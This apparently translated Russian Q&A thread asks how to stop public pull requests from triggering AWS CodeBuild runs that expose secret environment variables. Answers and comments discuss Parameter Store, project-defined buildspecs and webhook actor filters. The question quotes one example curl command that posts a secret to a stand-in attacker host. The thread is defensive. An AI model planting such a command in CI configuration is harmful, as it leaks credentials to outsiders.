Предотвращение запуска проверок PR GitHub без ручного вмешательства

Я столкнулся с ситуацией, когда у меня есть репо на GitHub, которое я хочу обнародовать.

В настоящее время одна из проверок PR запускает тесты CI на AWS CodeBuild.

Из-за природы тестов существуют переменные среды, которые содержат секреты. Результаты / журналы вывода сборки не будут общедоступными, и это хорошо.

AWS CodeBuild использует файл buildspec.yml для выполнения команд в CI.

Если бы у меня была переменная среды, например $SECRET_THING, злоумышленник мог бы просто открыть PR, добавив в buildspec.yml, например:

  - curl -X POST -d"thesecret=$SECRET_THING" https://mwahahahaha.com/grab_it

Которые затем отправили бы себе секрет.

Используя любой параметр в GitHub, GitHub проверяет API или CodeBuild, есть ли способ, который потребовал бы ручного вмешательства для запуска проверки, желательно после проверки кода? (например, кнопка, которую может нажимать только авторизованный соавтор на странице PR)

Редкие достижения на Github ✨
Редкие достижения на Github ✨
Редкая коллекция доступна в профиле на GitHub ✨
2
0
120
1

Ответы 1

Не используйте переменную окружения в виде обычного текста, вместо этого используйте "env> parameter-store" для хранения вашего секрета. Если вы используете пользовательский интерфейс консоли CodeBuild, вы можете создать запись в хранилище параметров из "расширенного> окружения". переменные> тип: хранилище параметров "https://aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html#build-spec-ref-syntax

Кроме того, CodeBuild позволяет определять спецификацию сборки как часть проекта. Таким образом, yml-файл buildspec отсутствует в вашем репозитории.

Примечание. CodeBuild позволяет только владельцу репозитория или администратору создавать веб-перехватчик.

Обновление: @Chris CodeBuild поддерживает группы фильтров для PR-сборок. Документация @ https://docs.aws.amazon.com/codebuild/latest/userguide/sample-github-pull-request.html#sample-github-pull-request-filter-webhook-events-console. Вы можете отфильтровать актера, чтобы гарантировать, что только доверенные соавторы могут запускать сборку для PR или push-событий.

Переменные среды из хранилища параметров шифруются только в состоянии покоя. Когда они используются в CodeBuild, они устанавливаются как переменные среды, представляющие собой обычный текст, поэтому можно выполнить ту же атаку.

Chris 11.09.2018 11:14

Сценарии сборки обычно просто запускают тестовые сценарии / задачи rake / сборки докеров и т. д., Поэтому, к сожалению, атаку можно просто перенести на один из сценариев, которые запускает buildspec.yml, даже если у вас нет доступа для изменения самого файла buildspec.yml.

Chris 11.09.2018 11:17

Другие вопросы по теме